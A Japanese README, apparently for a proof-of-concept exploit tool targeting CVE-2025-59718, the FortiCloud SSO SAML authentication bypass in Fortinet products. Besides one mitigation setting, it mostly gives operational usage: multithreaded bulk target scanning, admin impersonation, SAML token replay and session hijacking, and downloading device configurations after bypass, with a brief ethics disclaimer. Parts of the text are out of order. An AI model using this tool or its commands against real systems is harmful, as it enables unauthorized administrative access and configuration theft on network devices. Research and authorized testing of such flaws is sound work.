
Fortinetは、2025年12月9日に、密接に関連する2つの認証バイパス脆弱性を発表しました。どちらの欠陥も、FortiCloud SSOログイン機能におけるSAML応答の処理において、暗号署名の不適切な検証(CWE-347)に関連しています。
このツールは、CVE-2025-59718(Fortinet製品(FortiOS、FortiProxy、FortiSwitchManagerなど)における、FortiCloud SSO向けSAMLメッセージの暗号署名の検証不備に起因する重大な認証バイパス脆弱性)の概念実証(PoC)エクスプロイトスクリプトです。この脆弱性により、認証されていないリモート攻撃者が認証をバイパスし、署名なしSAML応答を細工して送信することで管理アクセスを取得できます。
重要なお知らせ: このスクリプトは教育、研究、および許可されたテスト目的のみを意図しています。明示的な許可なくシステムに対して不正に使用することは違法であり、倫理に反します。常に適用される法律を遵守し、テスト前に適切な許可を取得してください。
このスクリプトは、単一またはバルクターゲットスキャン、オプションのプロキシ使用、SAMLトークンリプレイおよびセッションハイジャックのシミュレーション、設定ファイルのダウンロードなどの認証後アクションをサポートします。マルチスレッドを使用して効率化し、結果をファイルに記録して分析します。
config system global
set admin-forticloud-sso-login disable
end
pipでインストール:
pip install requests argparse
exploit.py)。pip install -r requirements.txt
requirements.txtを作成し、requestsとargparseを記述。)chmod +x exploit.py
Pythonでスクリプトを実行:
python exploit.py [options]
--target <IP/ホスト名>: スキャンする単一ターゲット(例:192.168.1.1 または example.com)。--targets <カンマ区切りリスト>: 複数ターゲット(例:192.168.1.1,example.com)。--file <パス>: ターゲットを1行に1つ記述したファイル。--username <名前>: SAMLペイロードで偽装するユーザー名(デフォルト:admin)。--endpoint <パス>: SAMLログインエンドポイント(デフォルト:/remote/saml/login)。--max-threads <整数>: 最大同時スレッド数(デフォルト:10、推奨最大:50)。--saml-token <トークン>: リプレイ/ハイジャック用のBase64エンコードされたSAMLトークン(オプション)。--proxy <URL>: プロキシURL(例:)。注意: ターゲットオプションが指定されていない場合、スクリプトはエラーで終了します。
単一ターゲットスキャン:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
ローカルプロキシ経由で単一デバイスをスキャンし、adminを偽装。
リストからのバルクスキャン:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
複数ターゲットを並列スキャン、成功時に設定ダウンロードを有効化。
トークンリプレイによるファイルベーススキャン:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
targets.txtからターゲットを処理し、トークンリプレイ/ハイジャックを試行。
非対話型フルスキャン:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
カスタムユーザー名、高スレッド数、設定ダウンロード、カスタム出力。
/api/v2/monitor/system/config/backup経由で設定をダウンロード。CSV行の例:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxyを使用。requestsとargparseがインストールされていることを確認。--max-threadsを減らしてください。これはPoCです。改善(検出の向上、追加機能など)のための貢献はプルリクエストで歓迎します。安全性と倫理に重点を置いてください。
最終更新日: 2025年12月22日
http://127.0.0.1:8080--post-auth-config: 認証後の設定ダウンロードを有効化(フラグ、デフォルト無効)。--vulnerable-file <パス>: 脆弱なターゲットを保存するファイル(デフォルト:vulnerable_targets.txt)。--output-file <パス>: 攻撃レポート用CSVファイル(デフォルト:attack_report.csv)。